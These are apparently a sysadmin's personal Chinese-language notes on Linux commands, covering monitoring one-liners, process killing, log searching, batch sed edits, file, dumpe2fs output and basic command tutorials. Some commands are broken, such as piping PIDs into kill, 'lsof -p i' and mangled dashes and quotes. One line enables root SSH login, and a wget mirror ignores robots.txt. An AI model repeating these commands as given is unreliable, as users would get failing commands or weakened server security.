    traceroute 显示到达某一主机所经由的路径及所使用的时间

    traceroute + ping 一起的功能 mtr网络诊断工具
    http://lvqingboy-163-com.iteye.com/blog/794804
    [root@B2Cmonitor soft]# whereis mtr
    mtr: /usr/sbin/mtr /usr/share/man/man8/mtr.8.gz
    [root@B2Cmonitor soft]# mtr --help
    usage: mtr [-hvrctglspni46] [--help] [--version] [--report]
    [--report-cycles=COUNT] [--curses] [--gtk]
    [--raw] [--split] [--no-dns] [--address interface]
    [--psize=bytes/-s bytes]
    [--interval=SECONDS] HOSTNAME [PACKETSIZE]
    [root@B2Cmonitor soft]# mtr -v
    mtr 0.71
    wget 从网络上自动下载文件 , wget 使用技巧
    http://linuxtoy.org/archives/wget-tips.html
    http://javan.iteye.com/blog/684411
    write 向其他用户的终端写信息
    File
    开放分类: 网络 、Linux命令
    http://baike.baidu.com/view/32758.htm
    英文原义:File Protocol
    中文释义:本地文件传输协议
    注解:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
    应 用:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或IE地址栏中键入:file:///f:/flash/1.swf并回车。
    另:file也表示文件 。
    LINUX 命令
    file 命令
    用途
    确定文件类型。
    语法
    对文件类型分类
    file [ -m MagicFile] [ -d ] [ -h ] [ -i ] [ -M File ] [ -f FileList] [File...]
    检查 Magic 文件的格式错误
    file -c [ -m MagicFile]
    描述
    file 命令读取用 File 参数或者 FileList 变量指定的文件,在每个文件上执行一系列测试,然后将它们按照类型分类。然后此命令将文件类型写入标准输出。文件可以是常规文件、目录、FIFO(指定的管道)、块特殊文件、字符特别文件、符号链接或者套接字类型。
    * 对于长度为零的常规文件,将识别为空文件。
    * 对于符号链接文件,缺省情况下此链接后跟符号链接引用的文件。
    如果文件是 ASCII 码的格式,则 file 命令将检查前 1024 个字节然后确定文件类型。如果文件不是 ASCII 格式,则 file 命令将尝试区分二进制数据文件和包含扩展字符的文本文件。
    如果 File 参数指定了可执行程序或者对象模块文件且版本号大于 0则 file 命令将显示版本戳记。ld 命令说明了 a.out 文件的使用。
    file 命令使用 /etc/magic 来标识包含某种 magic 数字的文件;即,任何包含可以表示类型的数字或字符串常量的文件。
    如果文件不存在,无法读取或者文件状态无法确定,那么文件将不看作会影响退出状态的错误。输出表明文件已被处理,但是类型仍无法确定。
    当使用了 -i 标志时,应使用以下格式标识每个 file 指定的操作数:
    "%s: %s\n", file, type
    除非在 POSIX 语言环境,否则不指定 type 的值,如果 file 指定为下表中列出的类型之一,type 应包含(但不限于)对应字符串。在字符串中显示的每个空格应是一个空格。
    表 1. File 实用程序输出字符串 如果 file 是: type 应包含字符串:
    目录 目录
    FIFO fifo
    套接字 套接字
    块特殊文件 块特殊文件
    字符特别文件 字符特别文件
    可执行文件(二进制) 可执行文件
    空常规文件 空
    符号链接 符号链接到
    ar 归档库 压缩文档
    扩展的 cpio 格式 cpio 压缩文档
    扩展的 tar 格式 tar 压缩文档
    Shell 脚本 命令文本
    C 语言源 C 程序文本
    FORTRAN 源 fortran 程序文本
    如果 file 标识为符号链接,则应使用以下备用输出格式:
    "%s: %s %s\n", file, type, contents of link"
    如果 file 操作数指定的文件不存在或不可读,则字符串 cannot open 应包含为 type 字段的一部分,但这不应当作影响退出状态的错误。如果 file 操作数指定的文件的类型不能确定,则字符串 data 应包含为 type 字段的一部分,但这不应当作影响退出状态的错误。
    标志
    -c 检查指定的 magic 文件(缺省情况下,/etc/magic 文件)有无格式错误。此验证一般不进行。在此标志下文件输入不执行。
    -d 将任何缺省系统测试应用到文件。
    -f FileList 读取指定的文件列表。文件必需在每行列出一个文件,不包含开开头和拖尾空格。
    -h 当遇到符号链接时,将文件标识为符号链接。如果未指定 -h 标志且 file 是指向不存在文件的符号链接,file 应将文件标识为符号链接,就好像指定了 -h 标志。
    -i 如果文件不是常规文件,则不尝试进一步对文件类型进行分类,但如描述中指定的那样标识文件。
    -m MagicFile 指定 magic 文件的文件名(缺省情况下,/etc/magic)。
    -M File 指定包含应应用于文件以对其分类的测试的文件的名称。不应应用缺省系统测试。
    退出状态
    此命令返回下列出口值:
    0 成功结束。
    >0 发生错误。
    示例
       1. 要显示文件中包含的信息类型,请输入:
      file myfile
      这将显示文件 myfile的类型(例如目录,数据,ASCII 文本,C 程序源,压缩文档)。
       2. 要显示在文件名列表中指定的每个文件的类型,请输入:
      file -f filenames
      这将显示在 filenames 列表中指定的每个文件的类型。每个文件必须单独出现在一行上。
    注:要从 file 命令获取定制的信息,请和 -m 标志一起使用独立的 magic 文件。不建议编辑只读的 /etc/magic 文件。
    文件
    /usr/bin/file 包含 file 命令。
    /etc/magic 包含文件类型数据库。
    linux一句话命令
    http://shellfish.iteye.com/blog/790590
    http://bbs.linuxtone.org/thread-16-1-1.html
    1.删除0字节文件
    find -type f -size 0 -exec rm -rf {} \;
    2.查看进程
    按内存从大到小排列
    ps -e  -o "%C  : %p : %z : %a"|sort -k5 -nr
    3.按cpu利用率从大到小排列
    ps -e  -o "%C  : %p : %z : %a"|sort  -nr
    4.打印说cache里的URL
    grep -r -a  jpg /data/cache/* | strings | grep "http:" | awk -F'http:' '{print "http:"$2;}'
    5.查看http的并发请求数及其TCP连接状态:
    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
    6.
    sed -i '/Root/s/no/yes/' /etc/ssh/sshd_config  sed在这个文里Root的一行,匹配Root一行,将no替换成yes.
    7.1.如何杀掉mysql进程:
    ps aux|grep mysql|grep -v grep |awk '{print $2}'|xargs kill -9
      (从中了解到awk的用途)
    pgrep mysql |xargs kill -9
    killall -TERM mysqld
    kill -9 `cat /usr/local/apache2/logs/httpd.pid`
    试试查杀进程PID
    如何自动杀掉WebSphere JAVA进程:
    [wasuser@B2Cmonitor bin]$  pkill -9 | grep java
    [wasuser@B2Cmonitor bin]$  ps -ef | pgrep java | xargs kill -9
    [wasuser@B2Cmonitor bin]$ ps -ef |grep java
    wasuser  22005 1 85 16:36 pts/300:00:34 /opt/IBM/WebSphere/AppServer/java/bin/java -Declipse.security -Dwas.status.socket=39623 -Dosgi.install.area=/opt/IBM/WebSphere/AppServer -Dosgi.configuration.area=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/configuration -Djava.awt.headless=true -Dosgi.framework.extensions=com.ibm.cds,com.ibm.ws.eclipse.adaptors -Xshareclasses:name=webspherev70_%g,groupAccess,nonFatal -Xscmx50M -Xbootclasspath/p:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmorb.jar:/opt/IBM/WebSphere/AppServer/java/jre/lib/ext/ibmext.jar -classpath /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties:/opt/IBM/WebSphere/AppServer/properties:/opt/IBM/WebSphere/AppServer/lib/startup.jar:/opt/IBM/WebSphere/AppServer/lib/bootstrap.jar:/opt/IBM/WebSphere/AppServer/lib/jsf-nls.jar:/opt/IBM/WebSphere/AppServer/lib/lmproxy.jar:/opt/IBM/WebSphere/AppServer/lib/urlprotocols.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batchboot.jar:/opt/IBM/WebSphere/AppServer/deploytool/itp/batch2.jar:/opt/IBM/WebSphere/AppServer/java/lib/tools.jar -Dibm.websphere.internalClassAccessMode=allow -Xms50m -Xmx256m -Xcompressedrefs -Dws.ext.dirs=/opt/IBM/WebSphere/AppServer/java/lib:/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/classes:/opt/IBM/WebSphere/AppServer/classes:/opt/IBM/WebSphere/AppServer/lib:/opt/IBM/WebSphere/AppServer/installedChannels:/opt/IBM/WebSphere/AppServer/lib/ext:/opt/IBM/WebSphere/AppServer/web/help:/opt/IBM/WebSphere/AppServer/deploytool/itp/plugins/com.ibm.etools.ejbdeploy/runtime -Dderby.system.home=/opt/IBM/WebSphere/AppServer/derby -Dcom.ibm.itp.location=/opt/IBM/WebSphere/AppServer/bin -Djava.util.logging.configureByServer=true -Duser.install.root=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01 -Djavax.management.builder.initial=com.ibm.ws.management.PlatformMBeanServerBuilder -Dwas.install.root=/opt/IBM/WebSphere/AppServer -Dpython.cachedir=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/temp/cachedir -Djava.util.logging.manager=com.ibm.ws.bootstrap.WsLogManager -Dserver.root=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01 -Dcom.ibm.security.jgss.debug=off -Dcom.ibm.security.krb5.Krb5Debug=off -Djava.security.auth.login.config=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties/wsjaas.conf -Djava.security.policy=/opt/IBM/WebSphere/AppServer/profiles/Dmgr01/properties/server.policy com.ibm.wsspi.bootstrap.WSPreLauncher -nosplash -application com.ibm.ws.bootstrap.WSLauncher com.ibm.ws.runtime.WsServer /opt/IBM/WebSphere/AppServer/profiles/Dmgr01/config B2CmonitorCell01 B2CmonitorCellManager01 dmgr
    wasuser  22120 19378  0 16:36 pts/300:00:00 grep java
    [root@B2Cmonitor dmgr]# ps -ef | grep java | grep -v grep | awk '$1~/wasuser/{print $2}' | xargs -I {} kill -9 {}
    8.显示运行3级别开启的服务:
    ls /etc/rc3.d/S* |cut -c 15-
    (从中了解到cut的用途,截取数据)
    9.如何在编写SHELL显示多个信息,用EOF
    cat << EOF
    +--------------------------------------------------------------+
    | === Welcome to Tunoff services ===   |
    +--------------------------------------------------------------+
    EOF
    10. for 的巧用(如给mysql建软链接)
    cd /usr/local/mysql/bin
    for i in *
    do ln /usr/local/mysql/bin/$i /usr/bin/$i
    done
    11. 取IP地址:
    ifconfig eth0|sed -n '2p'|awk '{print $2}'|cut -c 6-30
    或者:
    ifconfig eth0 |grep "inet addr:" |awk '{print $2}'|cut -c 6-
    或者
    ifconfig  | grep 'inet addr:'| grep -v '127.0.0.1' | cut -d: -f2 | awk '{ print $1}'
    或者:
    ifconfig eth0 | sed -n '/inet /{s/.*addr://;s/ .*//;p}'
    Perl实现获取IP的方法:
    ifconfig -a | perl -ne 'if ( m/^\s*inet (?:addr:)?([\d.]+).*?cast/ ) { print qq($1\n); exit 0; }'
    12.内存的大小:
    free -m |grep "Mem" | awk '{print $2}'
    13.
    netstat -an -t | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort

    watch -n 2 "netstat -an -t | grep ":80" | grep ESTABLISHED | awk '{printf "%s %s\n",$5,$6}' | sort"
    14.查看Apache的并发请求数及其TCP连接状态:
    netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'
    15.因为同事要统计一下服务器下面所有的jpg的文件的大小,写了个shell给他来统计.原来用xargs实现,但他一次处理一部分,搞的有多个总和....,下面的命令就能解决啦.
    find / -name *.jpg -exec wc -c {} \;|awk '{print $1}'|awk '{a+=$1}END{print a}'
    CPU的数量(多核算多个CPU,
    cat /proc/cpuinfo |grep -c processor
    )越多,系统负载越低,每秒能处理的请求数也越多。
    16  CPU负载  # cat /proc/loadavg
    检查前三个输出值是否超过了系统逻辑CPU的4倍。
    18  CPU负载  #mpstat 1 1
    检查%idle是否过低(比如小于5%)
    19  内存空间  # free
    检查free值是否过低  也可以用 # cat /proc/meminfo
    20  swap空间  # free
    检查swap used值是否过高  如果swap used值过高,进一步检查swap动作是否频繁:
    # vmstat 1 5
    观察si和so值是否较大(swap in 和 swap out);

    观察b参数(等待资源的进程数)和wa参数(I/O等待中所占用的CPU时间的百分比,高于30%时,则I/O负荷较大)

    http://zhidao.baidu.com/question/252503810.html&__bd_tkn__=6dbf1438382198254553a433aaae33ac854f81ed8078338d51fed8133ea5c69d362ad36bb4bcda3b39bb3949f6bbe47087ac3af56e60b1f4e7eb60157a59ff379d64a1f95e0f03de0125277dd03bb97a3c01ed77792cc3f8db49317b015a472ac464783b4cbdafdc9a0888accbdc8c09cb322aff48aa
    8点到18点是10个小时,3分钟采样一次一个小时是60/3=20次,10个小时共200次,
    设个cron job每天8点跑这个命令: vmstat 180 200 > /tmp/CPUUsage_$(date +%Y%m%d).log
    3分钟输入一次,然后CPU的值与70%比较,如果大于这个值就发邮件出来。
    何谓70%?使用率大于70%?你需知道vmstat出来的cpu信息有4种状态:
     kthr          memory                         page                       faults           cpu       time
    ------- --------------------- ------------------------------------ ------------------ ----------- --------
      r   b        avm        fre    re    pi    po    fr     sr    cy    in     sy    cs us sy id wa hr mi se
      1   1     784933       7866     0     0     0     3      4     0    22    493   312  0  0 99  0 03:53:11
    us是用户进程使用率,sy是系统进程使用率,id是空闲,wa是等待资源的花费
    按你说的应该应该是如果id的值小于30吧(其它开销大于70)就发邮件,可以试试这样每3分钟执行一次:
    vmstat -wt |tail -1>> /tmp/vmstat.$(date +%Y%m%d).log
    (( $(tail -1 /tmp/vmstat.$(date +%Y%m%d).log|awk '{print $(NF-2)}') < 30 )) && \
    tail -1 /tmp/vmstat.$(date +%Y%m%d).log|mail -s "Subject" "yourMailBox@domain"

    21  磁盘空间  # df -h

    检查是否有分区使用率(Use%)过高(比如超过90%)  如发现某个分区空间接近用尽,可以进入该分区的挂载点,用以下命令找出占用空间最多的文件或目录:
    [root@localhost ~]# du -cks * | sort -rn | head -n 10
    22  磁盘I/O负载 

    [root@localhost ~]# iostat -x 1 2

    用iostat查看磁盘/dev/sdc3的磁盘i/o情况,每两秒刷新一次

    [root@localhost ~]# iostat -d -x /dev/sdc3 2
    检查I/O使用率(%util)是否超过100%
    23  网络负载  [root@localhost ~]# sar -n DEV
    检查网络流量(rxbyt/s, txbyt/s)是否过高
    24  网络错误  # netstat -i
    检查是否有网络错误(drop fifo colls carrier)  也可以用命令:# cat /proc/net/dev
    25 网络连接数目  # netstat -an | grep -E “^(tcp)” | cut -c 68- | sort | uniq -c | sort -n

    watch -n 2 "netstat -an | grep -E “^(tcp)” | cut -c 68- | sort | uniq -c | sort -n"
    26  进程总数  # ps aux | wc -l
    检查进程个数是否正常 (比如超过250)
    27  可运行进程数目  # vmwtat 1 5
    列给出的是可运行进程的数目,检查其是否超过系统逻辑CPU的4倍
    28  进程  # top -id 1
    观察是否有异常进程出现
    29  网络状态  检查DNS, 网关等是否可以正常连通
    30  用户  # who | wc -l
    检查登录用户是否过多 (比如超过50个)  也可以用命令:# uptime
    31  系统日志  # cat /var/log/rflogview/*errors
    检查是否有异常错误记录  也可以搜寻一些异常关键字,例如:
    # grep -i error /var/log/messages
    # grep -i fail /var/log/messages
    # egrep -i 'error|warn' /var/log/messages 查看系统异常
    grep 或 egrep 或awk 过滤两个或多个关键词
    http://mylinux.5d6d.com/thread-198-1-1.html
    [root@b2clogbackup logs]# grep -E '123|abc' filename  // 找出文件(filename)中包含123或者包含abc的行
    [root@b2clogbackup logs]# egrep '123|abc' filename//用egrep同样可以实现
    [root@b2clogbackup logs]# awk '/123|abc/'  filename // awk 的实现方式
    # 递归文件夹 查找某日志关键字 // xargs -t 输出搜索命令  // 单 引号+关键词  或可调用关键自身命令 如 'date '

    # 查找多文件中特定关键词

    [root@b2clogbackup logs]# find . -name solrconfig.xml |xargs -I {} less {}|grep 'keyworks '

    # 查找多文件中并复制

    http://hi.baidu.com/ientry/item/fb8d3930e587028af5e4add7

    查找当前目录下所有txt文件并复制到/home/www/web/目录下

    [root@b2clogbackup logs]# find . -name '*.txt' | xargs -i cp {} /home/www/web/

    # 查找多文件中特定关键词并批量修改

    [root@b2clogbackup logs]# find ./ -name 'wyg*.txt'|xargs -I {} sed -i 's/www/rrr/g' {}

    [root@b2clogbackup logs]# find . -name '*.log' | xargs -I {} -t grep 'cannot resolve symbol' {} | more
    [root@b2clogbackup logs]# find  /b2clog/wcbd/logs  -name '*.log' | xargs -I {} -t grep 'cannot resolve symbol' {} | more

    # linux下批量替换文件内容

    1、网络上现成的资料

      格式: sed -i "s/查找字段/替换字段/g" `grep 查找字段 -rl 路径`

      linux sed 批量替换多个文件中的字符串

      sed -i "s/oldstring/newstring/g" `grep oldstring -rl yourdir`

      例如:替换/home下所有文件中的www.admin99.net为admin99.net

      sed -i "s/www.admin99.net/admin99.net/g" `grep www.admin99.net -rl /home`

      exp:sed -i "s/shabi/$/g" `grep shabi -rl ./`

    2、自己额外附加

      2.1 将文件1.txt内的文字“garden”替换成“mirGarden”

      # sed -i "s/garden/mirGarden/g" 1.txt   //sed -i 很简单

      2.2 将当前目录下的所有文件内的“garden”替换成“mirGarden”

      ## sed -i "s/garden/mirGarden/g" `ls` //其实也就是ls出多个文件名而已


    32  核心日志  # dmesg
    检查是否有异常错误记录
    33  系统时间  # date
    检查系统时间是否正确
    34  打开文件数目  # lsof | wc -l

    linux lsof详解

    http://blog.csdn.net/guoguo1980/article/details/2324454
    检查打开文件总数是否过多

    # 用lsof查看这些进程号打开的文件句柄数
    for i  in 16373 16374 16375 16376 16377 16378 16379 16380   
    do  
     echo `lsof -p i | wc -l` ;
    done
    

     
    35  日志  # logwatch ?print  配置/etc/log.d/logwatch.conf,将 Mailto 设置为自己的email 地址,启动mail服务 (sendmail或者postfix),这样就可以每天收到日志报告了。
    缺省logwatch只报告昨天的日志,可以用# logwatch ?print ?range all 获得所有的日志分析结果。
    可以用# logwatch ?print ?detail high 获得更具体的日志分析结果(而不仅仅是出错日志)。
    36.杀掉80端口相关的进程
    lsof -i :80|grep -v "PID"|awk '{print "kill -9",$2}'|sh
    37.清除RedHat僵死进程 / 僵尸进程 / 查找僵死进程
    [root@b2cbbstest soft]# ps -el | grep Z
    F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY  TIME CMD
    1 Z 0 20096 20063  0  78   0 - 0 exit   ?00:00:00 Xsession <defunct>
    [root@b2cbbstest soft]# ps -el | grep defunct
    [root@b2cbbstest soft]# ps -eal | awk '{ if ($2 == "Z") {print $4}}' | kill -9
    38.tcpdump 抓包 ,用来防止80端口被人攻击时可以分析数据
    [root@Desktop ~]# tcpdump -c 10000 -i eth0 -n dst port 80 > /root/pkts

    [root@Desktop ~]# tcpdump -i eth0
    39.然后检查IP的重复数 并从小到大排序 注意 "-t\ +0"  中间是两个空格
    # less pkts | awk {'printf $3"\n"'} | cut -d. -f 1-4 | sort | uniq -c | awk {'printf $1" "$2"\n"'} | sort -n -t\ +0
    40.查看有多少个活动的php-cgi进程
    netstat -anp | grep php-cgi | grep ^tcp | wc -l

    watch -n 2 "netstat -anp | grep php-cgi | grep ^tcp | wc -l"
    41.利用iptables对应简单攻击
    netstat -an | grep -v LISTEN | awk ‘{print $5}’ |grep -v 127.0.0.1|grep -v 本机ip|sed  “s/::ffff://g”|awk ‘BEGIN { FS=”:” } { Num[$1]++ } END { for(i in Num) if(Num>8) { print i} }’ |grep ‘[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}’|  xargs -i[] iptables -I INPUT -s [] -j DROP
    Num>8部分设定值为阀值,这条句子会自动将netstat -an 中查到的来自同一IP的超过一定量的连接的列入禁止范围。   基中本机ip改成你的服务器的ip地址
    42. 怎样知道某个进程在哪个CPU上运行?
    # ps -eo pid,args,psr
    43. 查看硬件制造商
    dmidecode -s system-product-name
    44.perl如何编译成字节码,这样在处理复杂项目的时候会更快一点?
    perlcc -B -o webseek webseek.pl
    45. 统计var目录下文件以M为大小,以列表形式列出来。
    find /var -type f | xargs ls -s | sort -rn | awk '{size=$1/1024; printf("%dMb %s\n", size,$2);}' | head
    查找var目录下文件大于100M的文件,并统计文件的个数
    find /var -size +100M -type f | tee file_list | wc -l
    46. sed 查找并替换内容
    sed -i "s/varnish/LTCache/g"   `grep "Via" -rl /usr/local/src/varnish-2.0.4`
    sed -i "s/X-Varnish/X-LTCache/g" `grep "X-Varnish" -rl /usr/local/src/varnish-2.0.4`
    47. 查看服务器制造商
      dmidecode -s system-product-name
    48. wget 模拟user-agent抓取网页
    wget -m -e robots=off -U "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6" http://www.example.com/
    50. 统计目录下文件的大小(按M打印显示)
    du $1 --max-depth=1 | sort -n|awk '{printf "%7.2fM ----> %s\n",$1/1024,$2}'|sed 's:/.*/\([^/]\{1,\}\)$:\1:g'
    51.关于CND实施几个相关的统计
       统计一个目录中的目录个数
    ls -l | awk '/^d/' | wc -l
       统计一个目录中的文件个数
    ls -l | awk '/^-/' | wc -l
       统计一个目录中的全部文件数
    find ./ -type f -print | wc -l
       统计一个目录中的全部子目录数
    find ./ -type d -print | wc -l
      统计某类文件的大小:
       find ./ -name "*.jpg" -exec wc -c {} \;|awk '{print $1}'|awk '{a+=$1}END{print a}'
    53. 查找占用磁盘IO最多的进程
    wget -c http://linux.web.psi.ch/dist/scientific/5/gfa/all/dstat-0.6.7-1.rf.noarch.rpm
    dstat -M topio -d -M topbio
    54. 去掉第一列(如行号代码)
    awk '{for(i=2;i<=NF;i++) if(i!=NF){printf $i" "}else{print $i} }' list
    55.输出256中色彩
    for
      i in {0..255}; do echo -e "\e[38;05;${i}m${i}"; done | column -c 80 -s '
       '; echo -e "\e[m"
    56.查看机器支持内存
    机器插内存情况:
    [root@nginx2 catentries]# dmidecode |grep -P "Maximum\s+Capacity"
    Maximum Capacity: 256 GB
    机器最大支持内存:
    [root@nginx2 catentries]# dmidecode |grep -P "Maximum\s+Capacity"
    Maximum Capacity: 256 GB

     

     

    LINUX下grep、sed、gawk指令详解

    http://laozy.iteye.com/blog/391311

    http://gnuwin32.sourceforge.net/packages/gawk.htm

    http://wenku.baidu.com/view/6363eed5b9f3f90f76c61b66.html

    gawk的主要功能是针对文件的每一行(line),也就是每一条记录,搜寻制定的格式。

    分割apache日志 access.log / 截取access.log特定行内容

    [root@SmartEDM3 ~]# cat /etc/httpd/logs/access_log.1 | gawk 'BEGIN{i=0;}{i=i+1;if((i>1)&&(i<54)) print $0;}' > /etc/httpd/logs/access_cut.log

     

    tune2fs和dumpe2fs 命令用法

    http://tonykorn97.itpub.net/post/6414/461646

    显示当前的磁盘状态(dumpe2fs) //192.167.140.11 Elearning Nginx Server

    [root@elearnnginx /]# dumpe2fs /dev/sda1

    dumpe2fs 1.39 (29-May-2006)
    Filesystem volume name:   /boot
    Last mounted on:          <not available>
    Filesystem UUID:          542e557b-f450-486a-8426-6b9eea1e2e9d
    Filesystem magic number:  0xEF53
    Filesystem revision #:    1 (dynamic)
    Filesystem features:      has_journal ext_attr resize_inode dir_index filetype needs_recovery sparse_super
    Default mount options:    user_xattr acl
    Filesystem state:         clean
    Errors behavior:          Continue
    Filesystem OS type:       Linux
    Inode count:              26104
    Block count:              104388
    Reserved block count:     5219
    Free blocks:              88462
    Free inodes:              26070
    First block:              1
    Block size:               1024
    Fragment size:            1024
    Reserved GDT blocks:      256
    Blocks per group:         8192
    Fragments per group:      8192
    Inodes per group:         2008
    Inode blocks per group:   251
    Filesystem created:       Wed May 30 00:58:43 2012
    Last mount time:          Wed May 30 16:19:42 2012
    Last write time:          Wed May 30 16:19:42 2012
    Mount count:              5
    Maximum mount count:      -1
    Last checked:             Wed May 30 00:58:43 2012
    Check interval:           0 (<none>)
    Reserved blocks uid:      0 (user root)
    Reserved blocks gid:      0 (group root)
    First inode:              11
    Inode size:          128
    Journal inode:            8
    Default directory hash:   tea
    Directory Hash Seed:      171e5d99-a645-4393-abbd-3252754d5ce9
    Journal backup:           inode blocks
    Journal size:             4114k


    Group 0: (Blocks 1-8192)
      Primary superblock at 1, Group descriptors at 2-2
      Reserved GDT blocks at 3-258
      Block bitmap at 259 (+258), Inode bitmap at 260 (+259)
      Inode table at 261-511 (+260)
      1023 free blocks, 1991 free inodes, 2 directories
      Free blocks: 5863-6885
      Free inodes: 18-2008
    Group 1: (Blocks 8193-16384)
      Backup superblock at 8193, Group descriptors at 8194-8194
      Reserved GDT blocks at 8195-8450
      Block bitmap at 8451 (+258), Inode bitmap at 8452 (+259)
      Inode table at 8453-8703 (+260)
      3471 free blocks, 2008 free inodes, 0 directories
      Free blocks: 8704, 9494-12902, 16324-16384
      Free inodes: 2009-4016
    Group 2: (Blocks 16385-24576)
      Block bitmap at 16385 (+0), Inode bitmap at 16386 (+1)
      Inode table at 16387-16637 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 16638-24576
      Free inodes: 4017-6024
    Group 3: (Blocks 24577-32768)
      Backup superblock at 24577, Group descriptors at 24578-24578
      Reserved GDT blocks at 24579-24834
      Block bitmap at 24835 (+258), Inode bitmap at 24836 (+259)
      Inode table at 24837-25087 (+260)
      7681 free blocks, 2008 free inodes, 0 directories
      Free blocks: 25088-32768
      Free inodes: 6025-8032
    Group 4: (Blocks 32769-40960)
      Block bitmap at 32769 (+0), Inode bitmap at 32770 (+1)
      Inode table at 32771-33021 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 33022-40960
      Free inodes: 8033-10040
    Group 5: (Blocks 40961-49152)
      Backup superblock at 40961, Group descriptors at 40962-40962
      Reserved GDT blocks at 40963-41218
      Block bitmap at 41219 (+258), Inode bitmap at 41220 (+259)
      Inode table at 41221-41471 (+260)
      7681 free blocks, 2008 free inodes, 0 directories
      Free blocks: 41472-49152
      Free inodes: 10041-12048
    Group 6: (Blocks 49153-57344)
      Block bitmap at 49153 (+0), Inode bitmap at 49154 (+1)
      Inode table at 49155-49405 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 49406-57344
      Free inodes: 12049-14056
    Group 7: (Blocks 57345-65536)
      Backup superblock at 57345, Group descriptors at 57346-57346
      Reserved GDT blocks at 57347-57602
      Block bitmap at 57603 (+258), Inode bitmap at 57604 (+259)
      Inode table at 57605-57855 (+260)
      7461 free blocks, 1991 free inodes, 1 directories
      Free blocks: 57872-58368, 58415-58880, 58888-59392, 59400-59904, 59914-62464, 62466-62976, 63081-63488, 63497-64000, 64009-64512, 64520-65024, 65032-65536
      Free inodes: 14074-16064
    Group 8: (Blocks 65537-73728)
      Block bitmap at 65537 (+0), Inode bitmap at 65538 (+1)
      Inode table at 65539-65789 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 65790-73728
      Free inodes: 16065-18072
    Group 9: (Blocks 73729-81920)
      Backup superblock at 73729, Group descriptors at 73730-73730
      Reserved GDT blocks at 73731-73986
      Block bitmap at 73987 (+258), Inode bitmap at 73988 (+259)
      Inode table at 73989-74239 (+260)
      7681 free blocks, 2008 free inodes, 0 directories
      Free blocks: 74240-81920
      Free inodes: 18073-20080
    Group 10: (Blocks 81921-90112)
      Block bitmap at 81921 (+0), Inode bitmap at 81922 (+1)
      Inode table at 81923-82173 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 82174-90112
      Free inodes: 20081-22088
    Group 11: (Blocks 90113-98304)
      Block bitmap at 90113 (+0), Inode bitmap at 90114 (+1)
      Inode table at 90115-90365 (+2)
      7939 free blocks, 2008 free inodes, 0 directories
      Free blocks: 90366-98304
      Free inodes: 22089-24096
    Group 12: (Blocks 98305-104387)
      Block bitmap at 98305 (+0), Inode bitmap at 98306 (+1)
      Inode table at 98307-98557 (+2)
      5830 free blocks, 2008 free inodes, 0 directories
      Free blocks: 98558-104387
      Free inodes: 22097-26104

     

     

    http://www.saus.cn/technic/linux.htm

    1.man 对你熟悉或不熟悉的命令提供帮助解释
       eg:man ls 就可以查看ls相关的用法
       注:按q键或者ctrl c退出,在linux下可以使用ctrl c终止当前程序运行

      2.ls 查看目录或者文件的属*,列举出任一目录下面的文件
       eg: ls /usr/man
       ls -l
       a.d表示目录(directory),如果是一个"-"表示是文件,如果是l则表示是一个连接文件(link)
       b.表示文件或者目录许可权限.分别用可读(r),可写(w),可运行(x).

      3.cp 拷贝文件
       eg: cp filename1 filename2 //把filename1拷贝成filename2
       cp 1.c netseek/2.c //将1.c拷到netseek目录下命名为2.c

      4.rm 删除文件和目录
       eg: rm 1.c //将1.c这个文件删除

      5.mv 移走目录或者改文件名
       eg: mv filename1 filename2 //将filename1 改名为filename2
       mv qib.tgz ../qib.tgz //移到上一级目录

      6.cd 改变当前目录 pwd 查看当前所在目录完整路径 字串8
       eg: pwd //查看当前所在目录路径
       cd netseek //进入netseek这个目录
       cd //退出当前目录

      7.cat,more命令
       将某个文件的内容显示出来.两个命令所不同的是:cat把文件内容一直打印出来,而 more则分屏显示
       eg; cat>1.c //就可以把代码粘帖到1.c文件里,按ctrl d 保存代码。
       cat 1.c 或more 1.c //都可以查看里面的内容。
       gcc -o 1 1.c //将1.c编译成.exe文件,我们可以用此命编译出代码

      8.chmod 命令 权限修改 用法:chmod 一位8进制数 filename
       eg: chmod u x filenmame //只想给自己运行,别人只能读
       //u表示文件主人, g 表示文件文件所在组. o 表示其他人 ;r 表可读,w 表可写,x 表可以运行
       chmod g x filename //同组的人来执行

      9. clear,date命令

    clear:清屏,相当与DOS下的cls;date:显示当前时间.

      10.mount 加载一个硬件设备
       用法:mount [参数] 要加载的设备 载入点
       eg: mount /dev/cdrom
       cd /mnt/cdrom //进入光盘目录

      11.su 在不退出登陆的情况下,切换到另外一个人的身份
       用法: su -l 用户名(如果用户名缺省,则切换到root状态)
       eg:su -l netseek (切换到netseek这个用户,将提示输入密码)

      12.whoami,whereis,which,id
       //whoami:确认自己身份.
       //whereis:查询命令所在目录以及帮助文档所在目录.
       //which:查询该命令所在目录(类似whereis)
       //id:打印出自己的UID以及GID.(UID:用户身份唯一标识.GID:用户组身份唯一标识.每一个用户只能有一个唯一的UID和 GID)
       eg: whoami //显示你自已登陆的用户名
       whereis bin 显示bin所在的目录, 将显示为:/usr/local/bin
       which bin

      13. grep,find
       grep:文本内容搜索;find:文件或者目录名以及权限属主等匹配搜索
